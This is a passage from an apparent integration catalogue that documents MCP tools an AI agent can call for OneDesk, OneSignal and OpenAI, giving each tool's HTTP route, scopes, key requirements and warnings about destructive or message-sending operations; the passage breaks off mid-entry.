/rest/public/teams/externalId/{externalId}. POST /api/v1/onedesk/rest/public/teams/externalId/{externalId}. Scopes: api. onedesk_user_work_timer_cancel (write, destructive) — Cancel work timer. GET /rest/public/timers/cancel/{timerExternalId}. ENDS the timer and discards its elapsed time; use Pause work timer if the intent is to stop counting and continue later. A GET that MUTATES -- OneDesk models the timer commands as action-shaped GETs. GET /api/v1/onedesk/rest/public/timers/cancel/{timerExternalId}. Scopes: api. onedesk_user_work_timer_pause (write) — Pause work timer. GET /rest/public/timers/pause/{timerExternalId}. A GET that MUTATES: OneDesk models the timer commands as action-shaped GETs. Resume work timer restarts it. GET /api/v1/onedesk/rest/public/timers/pause/{timerExternalId}. Scopes: api. onedesk_user_work_timer_resume (write) — Resume work timer. GET /rest/public/timers/resume/{timerExternalId}. A GET that MUTATES: OneDesk models the timer commands as action-shaped GETs. GET /api/v1/onedesk/rest/public/timers/resume/{timerExternalId}. Scopes: api. ================================================================================ ## OneSignal URL: https://www.agenticfabriq.com/integrations/onesignal Section: Integrated Tools OneSignal — 65 MCP tools Provider key: onesignal. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. onesignal_delete_apps_by_app_id_auth_tokens_by_token_id (write, destructive) — Delete an API key via DELETE /apps/{app_id}/auth/tokens/{token_id}. Permanently delete an API key. Any client still authenticating with it starts failing at once. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/auth/tokens/{token_id}. Scopes: api. onesignal_delete_apps_by_app_id_journeys_by_id (write, destructive) — Delete a journey via DELETE /apps/{app_id}/journeys/{id}. Permanently delete a journey. Anyone currently inside it stops progressing and its statistics go with it. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/journeys/{id}. Scopes: api. onesignal_delete_apps_by_app_id_segments_by_segment_id (write, destructive) — Delete a segment via DELETE /apps/{app_id}/segments/{segment_id}. Permanently delete a segment. Messages and automations that target it by name stop matching anyone. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/segments/{segment_id}. Scopes: api. onesignal_delete_apps_by_app_id_subscriptions_by_subscription_id (write, destructive) — Delete a subscription via DELETE /apps/{app_id}/subscriptions/{subscription_id}. Permanently delete one subscription. That channel stops receiving messages; the user and its other subscriptions remain. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/subscriptions/{subscription_id}. Scopes: api. onesignal_delete_apps_by_app_id_users_by_by_alias_label_by_alias_id (write, destructive) — Delete a user via DELETE /apps/{app_id}/users/by/{alias_label}/{alias_id}. Permanently delete a user and every subscription attached to it. The person stops receiving messages on all channels and their history is gone. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}. Scopes: api. onesignal_delete_apps_by_app_id_users_by_by_alias_label_by_alias_id_identity_by_alias_label_to_delete (write, destructive) — Delete an alias via DELETE /apps/{app_id}/users/by/{alias_label}/{alias_id}/identity/{alias_label_to_delete}. Remove one alias label from a user. The user itself and its other aliases are untouched, but anything addressing it by the deleted label stops resolving. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/identity/{alias_label_to_delete}. Scopes: api. onesignal_delete_notifications_by_message_id (write, destructive) — Cancel a message via DELETE /notifications/{message_id}. Cancel a scheduled message before it is sent. It only works while the message is still pending: once delivery has begun there is nothing to cancel and nothing here can recall what was already sent. `app_id` is REQUIRED and is a query parameter (the ledger records it at `path`, which its own path template contradicts; corrected from the sibling View message operation). DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/notifications/{message_id}. Scopes: api. onesignal_delete_templates_by_template_id (write, destructive) — Delete a template via DELETE /templates/{template_id}. Permanently delete a template. Anything still referencing it by `template_id` -- scheduled messages, journeys, automations -- fails at send time rather than falling back. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. DELETE /api/v1/onesignal/templates/{template_id}. Scopes: api. onesignal_get_apps (read) — View apps via GET /apps. List every app in the organization with its App ID, name and per-platform configuration (Apple, Firebase, web push, Huawei, SMS, email). This is how a caller discovers the `app_id` every other tool here needs. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. GET /api/v1/onesignal/apps. Scopes: api. onesignal_get_apps_by_app_id (read) — View an app via GET /apps/{app_id}. Read one app's settings and channel configuration by App ID. The App ID is a public UUID and is explicitly not a secret. GET /api/v1/onesignal/apps/{app_id}. Scopes: api. onesignal_get_apps_by_app_id_auth_tokens (read) — View API keys via GET /apps/{app_id}/auth/tokens. List the app's API keys (Rich Authentication Tokens) with their ids, names, IP allowlists and creation times. The key VALUES are not returned here -- OneSignal shows a value only when it is created or rotated. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. GET /api/v1/onesignal/apps/{app_id}/auth/tokens. Scopes: api. onesignal_get_apps_by_app_id_email_analytics_delivery_metrics (read) — View email delivery metrics via GET /apps/{app_id}/email_analytics/delivery_metrics. Read the app's email bounce and spam-complaint rates over the last 24 hours and the last 30 days. These are the two numbers a sending reputation is judged on. GET /api/v1/onesignal/apps/{app_id}/email_analytics/delivery_metrics. Scopes: api. onesignal_get_apps_by_app_id_inbox (read) — View inbox broadcasts via GET /apps/{app_id}/inbox. List the app's inbox broadcasts. `last_broadcast_id` is the pagination cursor and `limit` caps the page size. GET /api/v1/onesignal/apps/{app_id}/inbox. Scopes: api. onesignal_get_apps_by_app_id_journeys (read) — View journeys via GET /apps/{app_id}/journeys. List the app's journeys with their status, schedule and re-entry rules. GET /api/v1/onesignal/apps/{app_id}/journeys. Scopes: api. onesignal_get_apps_by_app_id_journeys_by_id (read) — View a journey via GET /apps/{app_id}/journeys/{id}. Read one journey by id, with its full node graph. GET /api/v1/onesignal/apps/{app_id}/journeys/{id}. Scopes: api. onesignal_get_apps_by_app_id_journeys_by_id_stats (read) — View journey stats via GET /apps/{app_id}/journeys/{id}/stats. Read one journey's performance -- per node, per branch and per message -- over an optional time window. GET /api/v1/onesignal/apps/{app_id}/journeys/{id}/stats. Scopes: api. onesignal_get_apps_by_app_id_outcomes (read) — View outcomes via GET /apps/{app_id}/outcomes. Read aggregated outcome counts for the app -- clicks, confirmed deliveries, session duration and any custom outcomes -- selected by `outcome_names` and narrowed by time range, platform and attribution model. GET /api/v1/onesignal/apps/{app_id}/outcomes. Scopes: api. onesignal_get_apps_by_app_id_segments (read) — View segments via GET /apps/{app_id}/segments. List the app's segments with their ids, names and current subscription counts. Paged with `limit` and `offset`. GET /api/v1/onesignal/apps/{app_id}/segments. Scopes: api. onesignal_get_apps_by_app_id_segments_by_segment_id (read) — View a segment via GET /apps/{app_id}/segments/{segment_id}. Read one segment by id, with the filters that define it. GET /api/v1/onesignal/apps/{app_id}/segments/{segment_id}. Scopes: api. onesignal_get_apps_by_app_id_subscriptions_by_subscription_id_user_identity (read) — View identity by subscription via GET /apps/{app_id}/subscriptions/{subscription_id}/user/identity. Read the alias map of whichever user owns this subscription. The reverse lookup: subscription id in, identity out. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. GET /api/v1/onesignal/apps/{app_id}/subscriptions/{subscription_id}/user/identity. Scopes: api. onesignal_get_apps_by_app_id_users_by_by_alias_label_by_alias_id (read) — View a user via GET /apps/{app_id}/users/by/{alias_label}/{alias_id}. Read one user, addressed by any alias -- `external_id`, `onesignal_id` or a custom alias label -- with its identity, properties and every subscription attached to it. GET /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}. Scopes: api. onesignal_get_apps_by_app_id_users_by_by_alias_label_by_alias_id_identity (read) — View a user's aliases via GET /apps/{app_id}/users/by/{alias_label}/{alias_id}/identity. Read the full alias map for one user -- every label and id it can be addressed by, including the `onesignal_id` OneSignal assigned it. GET /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/identity. Scopes: api. onesignal_get_apps_by_app_id_users_by_by_alias_label_by_alias_id_inbox (read) — View a user's inbox messages via GET /apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox. List one user's inbox messages with their read, opened and deleted state. OneSignal documents `last_message_id` as the pagination cursor and the ledger records it as REQUIRED, so pass the id you last saw (or the empty string to ask for the first page). GET /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox. Scopes: api. onesignal_get_apps_by_app_id_users_by_by_alias_label_by_alias_id_inbox_unread_count (read) — View a user's unread inbox count via GET /apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox/unread_count. Return how many inbox messages this user has not read. The number an app badge is drawn from. GET /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox/unread_count. Scopes: api. onesignal_get_notifications (read) — View messages via GET /notifications. List the app's messages, newest first, with their delivery counts. `limit` and `offset` page through them (50 per page by default), `kind` selects dashboard / API / automated messages, `template_id` narrows to one template and `time_offset` shifts the window. GET /api/v1/onesignal/notifications. Scopes: api. onesignal_get_notifications_by_message_id (read) — View a message via GET /notifications/{message_id}. Read one message by id with its full delivery breakdown -- successful, failed, errored, converted, remaining -- and optionally its outcome counts via `outcome_names`, `outcome_time_range`, `outcome_platforms` and `outcome_attribution`. GET /api/v1/onesignal/notifications/{message_id}. Scopes: api. onesignal_get_organizations_by_organization_id_audit_logs (read) — List audit logs via GET /organizations/{organization_id}/audit_logs. Read the organization's audit log -- who did what and when, ordered by `occurred_at` ascending, filterable by app, action, actor, target, IP and time window. The array filters are capped by OneSignal (10 entries each, 20 for `actions`). ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. GET /api/v1/onesignal/organizations/{organization_id}/audit_logs. Scopes: api. onesignal_get_templates (read) — View templates via GET /templates. List the app's message templates. `app_id` is required, `channel` narrows to one channel, and `limit`/`offset` page through the results. GET /api/v1/onesignal/templates. Scopes: api. onesignal_get_templates_by_template_id (read) — View a template via GET /templates/{template_id}. Read one template by id, with its contents and settings. `app_id` is required. GET /api/v1/onesignal/templates/{template_id}. Scopes: api. onesignal_patch_apps_by_app_id_auth_tokens_by_token_id (write) — Update an API key via PATCH /apps/{app_id}/auth/tokens/{token_id}. Rename an API key or change its IP allowlist. The reply is an empty object; re-read with View API keys to see the change. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. PATCH /api/v1/onesignal/apps/{app_id}/auth/tokens/{token_id}. Scopes: api. onesignal_patch_apps_by_app_id_journeys_by_id (write) — Update a journey via PATCH /apps/{app_id}/journeys/{id}. Update a journey's settings or its node graph. A `nodes` array in the body REPLACES the graph rather than merging into it, so read the journey first and send the whole graph back -- or use Update a journey node to change one node. PATCH /api/v1/onesignal/apps/{app_id}/journeys/{id}. Scopes: api. onesignal_patch_apps_by_app_id_journeys_by_id_nodes_by_node_id (write) — Update a journey node via PATCH /apps/{app_id}/journeys/{id}/nodes/{node_id}. Update a single node inside a journey without resending the whole graph. The narrow edit to prefer over Update a journey. PATCH /api/v1/onesignal/apps/{app_id}/journeys/{id}/nodes/{node_id}. Scopes: api. onesignal_patch_apps_by_app_id_segments_by_segment_id (write) — Update a segment via PATCH /apps/{app_id}/segments/{segment_id}. Rename a segment or replace the filters that define it. The filter array REPLACES the segment's definition rather than adding to it, so read the segment first if you mean to extend it. PATCH /api/v1/onesignal/apps/{app_id}/segments/{segment_id}. Scopes: api. onesignal_patch_apps_by_app_id_subscriptions_by_subscription_id (write) — Update a subscription via PATCH /apps/{app_id}/subscriptions/{subscription_id}. Update one subscription by id: its token, enabled flag, notification types, session data and device metadata. Setting `enabled` to false is how a subscription is suppressed without deleting it. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. PATCH /api/v1/onesignal/apps/{app_id}/subscriptions/{subscription_id}. Scopes: api. onesignal_patch_apps_by_app_id_subscriptions_by_subscription_id_owner (write) — Transfer a subscription via PATCH /apps/{app_id}/subscriptions/{subscription_id}/owner. Move a subscription from its current user to another, named by alias. Used when a device or address changes hands between accounts. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. PATCH /api/v1/onesignal/apps/{app_id}/subscriptions/{subscription_id}/owner. Scopes: api. onesignal_patch_apps_by_app_id_subscriptions_by_subscription_id_user_identity (write) — Create an alias by subscription via PATCH /apps/{app_id}/subscriptions/{subscription_id}/user/identity. Add alias labels to the user that owns this subscription, without having to resolve that user first. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. PATCH /api/v1/onesignal/apps/{app_id}/subscriptions/{subscription_id}/user/identity. Scopes: api. onesignal_patch_apps_by_app_id_subscriptions_by_token_by_token_type_by_token (write) — Update a subscription by token via PATCH /apps/{app_id}/subscriptions_by_token/{token_type}/{token}. Update a subscription addressed by its TOKEN rather than its id -- the device push token, email address or phone number, with `token_type` naming which. The route for a caller that holds the token and not the subscription id. PATCH /api/v1/onesignal/apps/{app_id}/subscriptions_by_token/{token_type}/{token}. Scopes: api. onesignal_patch_apps_by_app_id_users_by_by_alias_label_by_alias_id (write) — Update a user via PATCH /apps/{app_id}/users/by/{alias_label}/{alias_id}. Update a user's properties: tags, language, timezone, country, session counts and purchase records. Tags are MERGED, and a tag sent with an empty string value is how one is removed. PATCH /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}. Scopes: api. onesignal_patch_apps_by_app_id_users_by_by_alias_label_by_alias_id_identity (write) — Create an alias via PATCH /apps/{app_id}/users/by/{alias_label}/{alias_id}/identity. Add one or more alias labels to an existing user, addressed by an alias it already has. Adding an alias that belongs to a different user is refused rather than moving it. PATCH /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/identity. Scopes: api. onesignal_patch_apps_by_app_id_users_by_by_alias_label_by_alias_id_inbox (write) — Bulk update inbox message state via PATCH /apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox. Mark EVERY matching inbox message for one user read, opened or deleted, up to `last_message_id`. `is_deleted: true` hides all of them from that user's inbox for good, and there is no per-message confirmation in the reply -- it answers 204 with no body. PATCH /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox. Scopes: api. onesignal_patch_apps_by_app_id_users_by_by_alias_label_by_alias_id_inbox_by_message_id (write) — Update an inbox message state via PATCH /apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox/{message_id}. Mark one of a user's inbox messages read, opened or deleted. `is_deleted` hides it from that user's inbox for good; the other two flags are ordinary state. Answers 204 with no body. PATCH /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/inbox/{message_id}. Scopes: api. onesignal_patch_templates_by_template_id (write) — Update a template via PATCH /templates/{template_id}. Update one template's name, contents or channel settings. Messages already scheduled against it pick up the change. PATCH /api/v1/onesignal/templates/{template_id}. Scopes: api. onesignal_post_apps (write) — Create an app via POST /apps. Create a new OneSignal app and set its channel configuration in one call -- APNs key or certificate, Firebase service account, web push keys, Huawei, and the SMS and email sender settings. The response carries the new App ID. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. POST /api/v1/onesignal/apps. Scopes: api. onesignal_post_apps_by_app_id_activities_activity_by_activity_type (write) — Start a Live Activity via POST /apps/{app_id}/activities/activity/{activity_type}. Start an iOS Live Activity of the named type for the targeted subscriptions, with its initial content state. iOS only. POST /api/v1/onesignal/apps/{app_id}/activities/activity/{activity_type}. Scopes: api. onesignal_post_apps_by_app_id_auth_tokens (write) — Create an API key via POST /apps/{app_id}/auth/tokens. Mint a new API key for the app, optionally restricted to an IP allowlist in CIDR notation. THE RESULT IS REDACTED: the reply carries the new key's value in `formatted_token`, and Agentic Fabriq replaces it before the reply reaches an agent. OneSignal shows that value once and cannot show it again, so mint keys in the dashboard when you need to read one. Note that an IP allowlist will block Agentic Fabriq's own egress unless its addresses are included. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. POST /api/v1/onesignal/apps/{app_id}/auth/tokens. Scopes: api. onesignal_post_apps_by_app_id_auth_tokens_by_token_id_rotate (write, destructive) — Rotate an API key via POST /apps/{app_id}/auth/tokens/{token_id}/rotate. Issue a new value for an existing API key. THE PREVIOUS VALUE STOPS WORKING IMMEDIATELY, for every client still using it, including this connection if it is the key being rotated -- there is no grace period and no way to recover the old value. THE RESULT IS REDACTED: the reply carries the new value in `formatted_token` and Agentic Fabriq replaces it before the reply reaches an agent, so rotate in the dashboard when you need to read the new value. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. DESTRUCTIVE: the resource is removed and there is no undo through this API. Read it first with the matching Get or List tool if you may need what it held. POST /api/v1/onesignal/apps/{app_id}/auth/tokens/{token_id}/rotate. Scopes: api. onesignal_post_apps_by_app_id_custom_events (write) — Create custom events via POST /apps/{app_id}/custom_events. Record up to a megabyte of custom events against users, each naming the user by External ID or OneSignal ID and carrying its own payload. Give each event an `idempotency_key` so a retry cannot double-count it. Partial success is normal: the 202 reply lists the events that failed and the rest were processed. POST /api/v1/onesignal/apps/{app_id}/custom_events. Scopes: api. onesignal_post_apps_by_app_id_inbox (write) — Create an inbox broadcast via POST /apps/{app_id}/inbox. Create an in-app inbox broadcast for the app, with its per-language contents, optional image and custom data. Returns the new broadcast's id. POST /api/v1/onesignal/apps/{app_id}/inbox. Scopes: api. onesignal_post_apps_by_app_id_journeys (write) — Create a journey via POST /apps/{app_id}/journeys. Create a journey: its audience, trigger, schedule, re-entry rules, early-exit conditions and the whole node graph of messages, waits and branches. POST /api/v1/onesignal/apps/{app_id}/journeys. Scopes: api. onesignal_post_apps_by_app_id_journeys_by_id_duplicate (write) — Duplicate a journey via POST /apps/{app_id}/journeys/{id}/duplicate. Copy a journey into a new, separate journey, optionally overriding its name and settings. The copy starts paused; nothing is sent by duplicating. POST /api/v1/onesignal/apps/{app_id}/journeys/{id}/duplicate. Scopes: api. onesignal_post_apps_by_app_id_live_activities_by_activity_id_notifications (write) — Update a Live Activity via POST /apps/{app_id}/live_activities/{activity_id}/notifications. Push a new content state to a running iOS Live Activity, optionally with an alert, and optionally ending it (`event: end`). Ending one cannot be undone from here -- a new activity has to be started. POST /api/v1/onesignal/apps/{app_id}/live_activities/{activity_id}/notifications. Scopes: api. onesignal_post_apps_by_app_id_notifications_by_notification_id_unsubscribe (write) — Unsubscribe with a token via POST /apps/{app_id}/notifications/{notification_id}/unsubscribe. Unsubscribe the recipient of one message, using the `token` from that message's own unsubscribe link. The token is per message and per recipient and is the argument that identifies them -- there is nothing to look up and no way to guess one. POST /api/v1/onesignal/apps/{app_id}/notifications/{notification_id}/unsubscribe. Scopes: api. onesignal_post_apps_by_app_id_segments (write) — Create a segment via POST /apps/{app_id}/segments. Create a segment from a named list of filter conditions combined with `AND`/`OR` operators. The reply carries the new segment's id. POST /api/v1/onesignal/apps/{app_id}/segments. Scopes: api. onesignal_post_apps_by_app_id_users (write) — Create a user via POST /apps/{app_id}/users. Create a user with its identity aliases, properties (tags, language, timezone, country) and any subscriptions to attach in the same call. Idempotent on the alias: creating a user whose alias already exists updates that user rather than making a second one. IDENTITY VERIFICATION: if this app has OneSignal's Token Identity Verification (beta) switched on, this route stops accepting the App API key and requires an ES256 JWT minted per end user by the customer's own backend -- a short-lived per-user token, not a credential a connection can hold. With the toggle off (its default) the App API key is what it takes. POST /api/v1/onesignal/apps/{app_id}/users. Scopes: api. onesignal_post_apps_by_app_id_users_by_by_alias_label_by_alias_id_subscriptions (write) — Create a subscription via POST /apps/{app_id}/users/by/{alias_label}/{alias_id}/subscriptions. Attach a new subscription -- an email address, a phone number or a push token -- to an existing user, addressed by one of its aliases. POST /api/v1/onesignal/apps/{app_id}/users/by/{alias_label}/{alias_id}/subscriptions. Scopes: api. onesignal_post_notifications_by_message_id_export_events (read) — Export message events as CSV via POST /notifications/{message_id}/export_events. Generate a CSV of one message's events and return a download URL. The file is produced asynchronously and the URL is valid for three days. POST /api/v1/onesignal/notifications/{message_id}/export_events. Scopes: api. onesignal_post_notifications_by_message_id_history (read) — Export message history via POST /notifications/{message_id}/history. Email a CSV of the subscriptions that were SENT or CLICKED one message, to the address in the body. The report is delivered by email rather than returned here, so the reply only confirms the request was accepted. Requires the Email Message Reporting add-on, and `sent` events are not recorded for messages targeting fewer than 1,000 recipients. POST /api/v1/onesignal/notifications/{message_id}/history. Scopes: api. onesignal_post_notifications_count_unsaved (read) — Count message recipients via POST /notifications/count-unsaved. Return how many subscriptions a message's targeting WOULD reach, without creating or sending anything. Takes the same targeting fields as Create message. The safest way to check an audience before sending: it answers `count` plus whether a plan cap reduced it. POST /api/v1/onesignal/notifications/count-unsaved. Scopes: api. onesignal_post_notifications_email (write) — Create an email message via POST /notifications. Send or schedule an EMAIL message. The same Create message endpoint as the push and SMS tools; `target_channel` defaults to `email` here and `email_subject` plus `email_body` are required. Carries the email-only fields -- from name and address, reply-to, preheader, BCC, click tracking, sender domain and warm-up. THIS SENDS REAL EMAIL and cannot be recalled once delivery starts. POST /api/v1/onesignal/notifications/email. Scopes: api. onesignal_post_notifications_push (write) — Create a push message via POST /notifications. Send or schedule a PUSH message. The channel is chosen by `target_channel` in the body, which defaults to `push` here. Targeting is one of segments (`included_segments`/`excluded_segments`), filters, aliases (`include_aliases`, which requires `target_channel`) or subscription ids; `contents` carries the per-language body and is required. Supports scheduling (`send_after`, `delayed_option`, `delivery_time_of_day`), per-platform assets, action buttons, and `idempotency_key` to make a retry safe. THIS SENDS REAL MESSAGES TO REAL PEOPLE and cannot be recalled once delivery starts. POST /api/v1/onesignal/notifications/push. Scopes: api. onesignal_post_notifications_sms (write) — Create an SMS message via POST /notifications. Send or schedule an SMS or MMS message. The same Create message endpoint as the push and email tools, with `target_channel` required and defaulting to `sms`; `sms_from` names the Messaging Service SID or number to send from and `sms_media_urls` attaches MMS media. THIS SENDS REAL, BILLABLE MESSAGES to real phone numbers and cannot be recalled once delivery starts. POST /api/v1/onesignal/notifications/sms. Scopes: api. onesignal_post_players_csv_export (read) — Export subscriptions as CSV via POST /players/csv_export. Generate a CSV of the app's subscription records and return its download URL. `segment_name` limits it to one segment, `extra_fields` adds columns such as external user id, country and timezone, and `last_active_since` limits it by recency. The file is produced asynchronously -- the URL is returned at once and the object may take a few minutes to appear -- and is available for three days. POST /api/v1/onesignal/players/csv_export. Scopes: api. onesignal_post_templates (write) — Create a template via POST /templates. Create a reusable message template for a channel, with its per-language contents and channel-specific settings. POST /api/v1/onesignal/templates. Scopes: api. onesignal_post_templates_by_template_id_copy_to_app (write) — Copy a template to another app via POST /templates/{template_id}/copy_to_app. Copy one template into a different app in the same organization. Two apps are involved, which is why this is the one template tool that needs the Organization API key. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. POST /api/v1/onesignal/templates/{template_id}/copy_to_app. Scopes: api. onesignal_put_apps_by_app_id (write) — Update an app via PUT /apps/{app_id}. Update one app's name and channel configuration. Fields the body omits keep their current values; a field sent empty clears it, which for a platform credential silently stops that channel delivering. ORGANIZATION KEY: this route is organization-scoped and an App API key cannot reach it. Fill the Organization API key box on this connection (OneSignal dashboard -> Settings -> Organization settings -> Security -> Keys & IDs), which only an organization Admin can mint. PUT /api/v1/onesignal/apps/{app_id}. Scopes: api. ================================================================================ ## OpenAI URL: https://www.agenticfabriq.com/integrations/openai Section: Integrated Tools OpenAI — 264 MCP tools Provider key: openai. Scopes: admin_read, admin_write, read, write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. openai_delete_assistants_by_assistant_id (write, destructive) — Delete an assistant. via DELETE /assistants/{assistant_id} OpenAI marks this operation deprecated. DELETE /api/v1/openai/assistants/{assistant_id}. Scopes: write. openai_delete_audio_voice_consents_by_consent_id (write, destructive) — Deletes a voice consent recording. Delete a consent recording that was uploaded for creating custom voices. See the [custom voices guide](/docs/guides/text-to-speech#custom-voices). Custom voices are limited to eligible customers. via DELETE /audio/voice_consents/{consent_id} DELETE /api/v1/openai/audio/voice_consents/{consent_id}. Scopes: write. openai_delete_chat_completions_by_completion_id (write, destructive) — Delete a stored chat completion. Only Chat Completions that have been created with the `store` parameter set to `true` can be deleted. via DELETE /chat/completions/{completion_id} DELETE /api/v1/openai/chat/completions/{completion_id}. Scopes: write. openai_delete_chatkit_threads_by_thread_id (write, destructive) — Delete a ChatKit thread along with its items and stored attachments. via DELETE /chatkit/threads/{thread_id} DELETE /api/v1/openai/chatkit/threads/{thread_id}. Scopes: write. openai_delete_containers_by_container_id (write, destructive) — Delete Container Delete a container. via DELETE /containers/{container_id} DELETE /api/v1/openai/containers/{container_id}. Scopes: write. openai_delete_containers_by_container_id_files_by_file_id (write, destructive) — Delete Container File Delete a container file. via DELETE /containers/{container_id}/files/{file_id} DELETE /api/v1/openai/containers/{container_id}/files/{file_id}. Scopes: write. openai_delete_conversations_by_conversation_id (write, destructive) — Delete a conversation. Items in the conversation will not be deleted. via DELETE /conversations/{conversation_id} DELETE /api/v1/openai/conversations/{conversation_id}. Scopes: write. openai_delete_conversations_by_conversation_id_items_by_item_id (write, destructive) — Delete an item from a conversation with the given IDs. via DELETE /conversations/{conversation_id}/items/{item_id} DELETE /api/v1/openai/conversations/{conversation_id}/items/{item_id}. Scopes: write. openai_delete_evals_by_eval_id (write, destructive) — Delete an evaluation. via DELETE /evals/{eval_id} DELETE /api/v1/openai/evals/{eval_id}. Scopes: write. openai_delete_evals_by_eval_id_runs_by_run_id (write, destructive) — Delete an eval run. via DELETE /evals/{eval_id}/runs/{run_id} DELETE /api/v1/openai/evals/{eval_id}/runs/{run_id}. Scopes: write. openai_delete_files_by_file_id (write, destructive) — Delete a file and remove it from all vector stores. via DELETE /files/{file_id} DELETE /api/v1/openai/files/{file_id}. Scopes: write. openai_delete_fine_tuning_checkpoints_by_fine_tuned_model_checkpoint_permissions_by_permission_id (write, destructive) — **NOTE:** This endpoint requires an [admin API key](../admin-api-keys). Organization owners can use this endpoint to delete a permission for a fine-tuned model checkpoint. via DELETE /fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions/{permission_id} DELETE /api/v1/openai/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions/{permission_id}. Scopes: write. openai_delete_models_by_model (write, destructive) — Delete a fine-tuned model. You must have the Owner role in your organization to delete a model. via DELETE /models/{model} DELETE /api/v1/openai/models/{model}. Scopes: write. openai_delete_organization_admin_api_keys_by_key_id (write, destructive) — Delete an organization admin API key Delete the specified admin API key. via DELETE /organization/admin_api_keys/{key_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE 